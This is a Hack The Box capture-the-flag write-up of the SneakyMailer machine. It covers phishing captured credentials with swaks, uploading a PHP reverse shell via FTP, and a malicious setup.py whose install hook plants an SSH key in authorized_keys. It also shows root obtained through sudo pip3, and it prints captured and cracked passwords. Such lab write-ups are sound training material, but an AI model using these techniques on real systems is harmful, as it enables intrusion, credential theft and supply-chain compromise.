SneakyMailer is a medium difficulty Linux machine from Hack The Box that features a phishing attack. The credentials obtained through phishing allow me to access one of the users’ mailboxes and obtain another credentials for FTP. Foothold on the system can be gained after dropping a reverse shell on the FTP. Internal enumeration discovers a PyPI server that can be exploited to escalate myself to user by uploading a malicious package. The user is allowed to run pip3
with sudo privileges, and this can be leveraged to obtain root access.
Skills Learned
- Phishing
- PyPI Package Exploitation
- Sudo exploitation on
pip3
Tools
- Nmap
- Imap
Reconnaissance
Nmap
→ root@iamf «sneakymailer» «10.10.14.42»
$ mkdir nmap; nmap -sC -sV -oN nmap/inital-sneaky 10.10.10.197 -v
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE STARTTLS UTF8=ACCEPTA0001 CHILDREN ACL ACL2=UNION THREAD=ORDEREDSUBJECT THREAD=REFERENCES UIDPLUS OK SORT QUOTA IDLE completed CAPABILITY IMAP4rev1 NAMESPACE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ENABLE AUTH=PLAIN CHILDREN ACL ACL2=UNION THREAD=ORDEREDSUBJECT THREAD=REFERENCES UIDPLUS OK SORT QUOTA completed IDLE IMAP4rev1 CAPABILITY UTF8=ACCEPTA0001 NAMESPACE
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
With an initial scan, nmap
discovered seven ports open and also identified the services behind them.
I’ll summarize the result:
- There is an FTP service on port 21, but
nmap
shows no sign that anonymous login is allowed. - An SSH service on port 22
- Three email protocols, SMTP on port 25, IMAP on port 143 and secure IMAP on port 993
- And a web server hosting two sites on port 80 and 8080.
nmap
identifies the hostname assneakycorp.htb
.
I’ll add sneakycorp.htb
to my /etc/hosts
file:
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts
Enumeration
TCP 80 - Website
Visiting sneakycorp.htb
on port 80 displays a project dashboard for a company called SneakyCorp. One project is marked as “Complete!” while the other one seems still in progress for about 80%.
Clicking on the “Team” menu points to/team.php
. This page shows a table contains the employees’ data of SneakyCorp.
I saved the whole table data and stored it in a file called team
.
I can grab the emails using the grep
and tr
command as follows:
→ root@iamf «sneakymailer» «10.10.14.42»
$ cat team | egrep -o "[^[:space:]]+@[^[:space:]]+" | tr -d "<>" | tee emails.list
I ran gobuster
but it didn’t show any interesting results.
TCP 8080 — Website
It returns the default Nginx page.
TCP 25 — SMTP (Mail)
I tried to send an email, and it got queued.
Given a list of email addresses, the box title, as well as the illustration, I can guess it has something to do with email phishing.
Email Phishing
I’ll setup netcat
listener on port 80, and then I’ll use a tool called swaks
to send an email containing my IP address to all the email addresses I’ve got.
→ root@iamf «sneakymailer» «10.10.14.42»
$ swaks --server '10.10.10.197' --to `cat emails.list | tr '\n' ','` --from admin@sneakymailer.htb --body "http://10.10.14.42/"
And there is an HTTP POST request coming to my listener.
The request body contains this data.
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
It can be decoded using an online url decoder.
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
The parameter password
and rpassword
seem juicy where the r might refer to reset or retype the password. Unfortunately, the password doesn’t work on SSH and FTP.
TCP 143 - IMAP
With the obtained credentials, I can try to use it on IMAP, but since Kali doesn’t have any builtin mail apps, I’ll need an email client, and I end up with sylpheed. You can install it with sudo apt-get install sylpheed
.
But before moving on, I’ll add sneakymailer.htb
to my/etc/hosts
file to avoid problems with dns/name resolution.
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.197 sneakymailer.htb' >> /etc/hosts
Initial Setup
As this is my first install, I’ll have to determine the location of the mailbox (storage) for receiving email from the mail server. I decided to put it on/root/sneaky/loot/Mail
.
Next I’ll have to determine the account type. Because the box only has IMAP listening and we’re not going outside VPN connection, then I should choose IMAP4.
In the following section, I’ll use the display name Paul and the email address paulbyrd@sneakymailer.htb
that I obtained through phishing.
I lost some of my screenshots after the step above, but here is the final configuration.
Lastly, enter paulbyrd
’s password, ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
, if the app asks for it after applying the configuration. Now wait until it fetches all the emails from the server.
Retrieving the emails
In Paul’s mailbox, I found two emails inside the “Sent Items” folder.
The first email was sent with the subject of “Password Reset”. In this email, Paul asks the administrator to change the developer account password. I’ll grab the credentials of the developer account.
The second email was sent with the subject “Module testing”, but right now I’m not sure what it is about.
Foothold
Shell as www-data
FTP Access
The developer account can be used to access the FTP server. There is only one directory called/dev
in the FTP root directory.
I access the FTP server via browser. The files inside this FTP look the same files as the one hosted on sneakycorp.htb
, except it has the additional word “dev” in the title.
Reverse Shell via FTP Upload
It turns out that the developer account has write permission on the /dev
directory, so I can drop a PHP reverse shell payload there.
211-FTP server status:
Connected to ::ffff:10.10.14.20
Logged in as developer
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 1
vsFTPd 3.0.3 - secure, fast, stable
ftp> cd /dev
250 Directory successfully changed.
ftp> put /shares/reversef.php iamf.php
local: /shares/reversef.php remote: iamf.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
72 bytes sent in 0.00 secs (2.8610 MB/s)
The uploaded web shell is available on http://dev.sneakycorp.htb/iamf.php
. I will add dev.sneakycorp.htb
to my /etc/hosts
first.
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.194' >> dev.sneakycorp.htb
Now I can trigger my web shell with curl.
→ root@iamf «sneakymailer» «10.10.14.42»
$ curl -s http://dev.sneakycorp.htb/iamf.php
My listener has an interactive shell now.
Privilege Escalation
Shell as low
Enumeration
In /var/www
, I found another subdomain. The new is pypi.sneakycorp.htb
, I’ll add it to my /etc/hosts
file.
I discovered .htpasswd
file inside pypi.sneakycorp.htb
, which contains PyPI credentials.
I’ll save pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
to my note and send it to my Windows for cracking. In /home
there is no user called pypi
, so it might be used for something else.
Cracking Password
The password can be cracked easily with John the Ripper.
The password is soufianeelhaoui
Malicious PyPI package
Looking at the web configuration file, there is another domain pypi.sneakycorp.htb
which is accessible on localhost:5000
.
It also accessible from remote on port 8080 if I specify the hostname, pypi.sneakycorp.htb
.
Based on the second email that Paul sent to user law.
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
The idea is that I can create my own PyPI package, of course a malicious one, upload it (via local or remote), and then let user low
install the package (configured by the box’s author automatically).
To create a package, I’ll use the official site tutorial as my reference:
- https://packaging.python.org/tutorials/packaging-projects/
- And you might want to read this too, https://packaging.python.org/specifications/pypirc/
First, I’ll get the setup.py
template which looks like this:
import setuptools
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="example-pkg-YOUR-USERNAME-HERE", # Replace with your own username
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
project_urls={
"Bug Tracker": "https://github.com/pypa/sampleproject/issues",
},
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
package_dir={"": "src"},
packages=setuptools.find_packages(where="src"),
python_requires=">=3.6",
)
My goal is only to insert my SSH public key to low
’s authorized_keys, so I’ll need to modify the code to this:
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "w") as f:
f.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINtXqxDD334hQ3aaabbbssssdd")
f.close()
except Exception as e:
pass
setuptools.setup(
name="low",
version="0.0.1",
author="Example Author",
author_email="author@example.com",
description="A small example package",
long_description="",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)
From the link above, in order to upload a package to the PyPI server, a file called .pypirc
must be present at $HOME/.pypirc
.
The file is required for authentication, so I’ll create one and put the PyPI credentials I obtained before.
[distutils]
index-servers =
local
[local]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui
If I wanted to upload remotely, my .pypirc
would look like this:
[distutils]
index-servers =
remote
[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
I’ll transfer setup.py
and .pypirc
to /dev/shm
of SneakyMailer via Python http server.
→ root@iamf «exploits» «10.10.14.42»
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.197 - - [12/Jul/2020 08:24:12] "GET /.pypirc HTTP/1.1" 200 -
10.10.10.197 - - [12/Jul/2020 08:24:29] "GET /setup.py HTTP/1.1" 200 -
On SneakyMailer:
www-data@sneakymailer:/dev/shm$ curl -s http://10.10.14.42/.pypirc > .pypirc
www-data@sneakymailer:/dev/shm$ curl -s http://10.10.14.42/setup.py > setup.py
Now at /dev/shm
, the folder structure looks like this.
.
├── .pypirc
├── iamf.php
└── setup.py
The last part is set $HOME
to /dev/shm
, because .pypirc
should be placed at $HOME/.pypirc
.
www-data@sneakymailer:/dev/shm$ export $HOME=/dev/shm
After all is set, I can start uploading the malicious package I made to the PyPI server locally using the command below.
www-data@sneakymailer:~$ python3 setup.py sdist upload -r local
running sdist
running egg_info
writing low.egg-info/PKG-INFO
writing dependency_links to low.egg-info/dependency_links.txt
writing top-level names to low.egg-info/top_level.txt
reading manifest file 'low.egg-info/SOURCES.txt'
writing manifest file 'low.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating low-0.0.1
creating low-0.0.1/low.egg-info
copying files to low-0.0.1…
copying setup.py -> low-0.0.1
copying low.egg-info/PKG-INFO -> low-0.0.1/low.egg-info
copying low.egg-info/SOURCES.txt -> low-0.0.1/low.egg-info
copying low.egg-info/dependency_links.txt -> low-0.0.1/low.egg-info
copying low.egg-info/top_level.txt -> low-0.0.1/low.egg-info
Writing low-0.0.1/setup.cfg
Creating tar archive
removing 'low-0.0.1' (and everything under it)
running upload
Submitting dist/low-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
As long as I see the server response is 200, that means I have successfully uploaded the package.
SSH Access
Now I can login with my private key as user low
.
→ root@iamf «sneakymailer» «10.10.14.42»
$ ssh -i id_ecdsa low@10.10.10.197
User flag is done here.
Shell as root
Abusing sudo pip
User low
has sudo privileges on /usr/bin/pip3
.
I’ll follow the instruction from GTFOBins to abuse this circumstance to obtain the root flag.
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$
low@sneakymailer:~$ echo 'raise Exception(open("/root/root.txt").read())' > $TF/setup.py
low@sneakymailer:~$
low@sneakymailer:~$ sudo pip3 install $TF
Or to get a shell as follows:
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$
low@sneakymailer:~$ sudo pip3 install $TF
sudo: Unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.9ShSegy5bm
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)